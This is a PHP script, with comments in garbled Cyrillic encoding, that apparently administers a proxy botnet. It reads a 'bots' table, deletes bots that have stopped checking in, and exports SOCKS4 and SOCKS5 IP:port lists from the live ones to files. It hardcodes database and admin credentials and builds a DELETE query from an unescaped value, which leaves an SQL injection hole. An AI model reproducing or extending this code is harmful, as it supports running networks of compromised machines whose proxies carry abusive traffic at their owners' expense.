?php

//////////////////////////
/*
Ýòîò ñêðèïò
1) Îáíîâèò áàçó, óäàëèò äîõëûõ áîòîâ
2) Çàïèøåò ñïèñîê (îñòàâøèéñÿ) socks4 â ôàéë
3) Çàïèøåò ñïèñîê (îñòàâøèéñÿ) socks5 â ôàéë
//////////////////////////
*/

/* ôàéëû äëÿ ñîõðàíåíèÿ ñïèñêà ñîêñ4/5 */
$socks4file = "socks4.fresh.txt";
$socks5file = "socks5.fresh.txt";

/* ïàðîëü äîñòóïà ê àäìèíêå */
$password = "qwerty";

/* MySQL */
$mysql_host = "ftp.drivehq.com";
$mysql_user = "hacker0007";
$mysql_password = "qwerty";

/* èìÿ ÁÄ */
$mysql_dbname = "test";

/* èìÿ òàáëèöû */
$mysql_bots_table = "bots";

/* âðåìÿ óäàëåíèå íåàêòèâíûì áîòîâ.. ñòàâüòå ÷óòü áîëüøå ÷åì â áîòå */
$refreshtime = 15;

/* updates DB */
function db_update()
{
    GLOBAL $mysql_host, $mysql_user, $mysql_password, $mysql_dbname, $mysql_bots_table, $refreshtime;
    if (!@mysql_connect( $mysql_host, $mysql_user, $mysql_password ))
        return "Cannot connect to database";
    mysql_select_db( $mysql_dbname );

    $r = mysql_query( "SELECT time, nickname FROM $mysql_bots_table" );
    while ($r && $arr = mysql_fetch_array( $r ))
    {
        $time = $arr["time"];
        $nickname = $arr["nickname"];
        if (time() - $time > $refreshtime)
            mysql_query( "DELETE FROM $mysql_bots_table WHERE nickname=\"$nickname\"" );
    }

    mysql_close();
    return "OK";
}

function db_savesocks4()
{
    GLOBAL $mysql_host, $mysql_user, $mysql_password, $mysql_dbname, $mysql_bots_table, $refreshtime, $socks4file;

    if (!@mysql_connect( $mysql_host, $mysql_user, $mysql_password ))
        return "Cannot connect to database";
    mysql_select_db( $mysql_dbname );

    $f = fopen( $socks4file, "w" );

    $r = mysql_query( "SELECT ip,socks4 FROM $mysql_bots_table WHERE socks4" );
    $i = 0;
    while ($r && $arr = mysql_fetch_array( $r ))
    {
        $s4 = $arr["socks4"];
        $ip = $arr["ip"];
        fwrite( $f, "$ip:$s4\r\n" );
        $i++;
    }

    fclose( $f );
    mysql_close();
    return $i;
}

function db_savesocks5()
{
    GLOBAL $mysql_host, $mysql_user, $mysql_password, $mysql_dbname, $mysql_bots_table, $refreshtime, $socks5file;

    if (!@mysql_connect( $mysql_host, $mysql_user, $mysql_password ))
        return "Cannot connect to database";
    mysql_select_db( $mysql_dbname );

    $f = fopen( $socks5file, "w" );

    $r = mysql_query( "SELECT ip,socks5 FROM $mysql_bots_table WHERE socks5" );
    $i = 0;
    while ($r && $arr = mysql_fetch_array( $r ))
    {
        $s5 = $arr["socks5"];
        $ip = $arr["ip"];
        fwrite( $f, "$ip:$s5\r\n" );
        $i++;
    }

    fclose( $f );
    mysql_close();
    return $i;
}

print "Updating DB...";
print db_update()."\n";
print "Saving $socks4file file...";
print "Saved ".db_savesocks4()." items\n";
print "Saving $socks5file file...";
print "Saved ".db_savesocks5()." items\n";

?>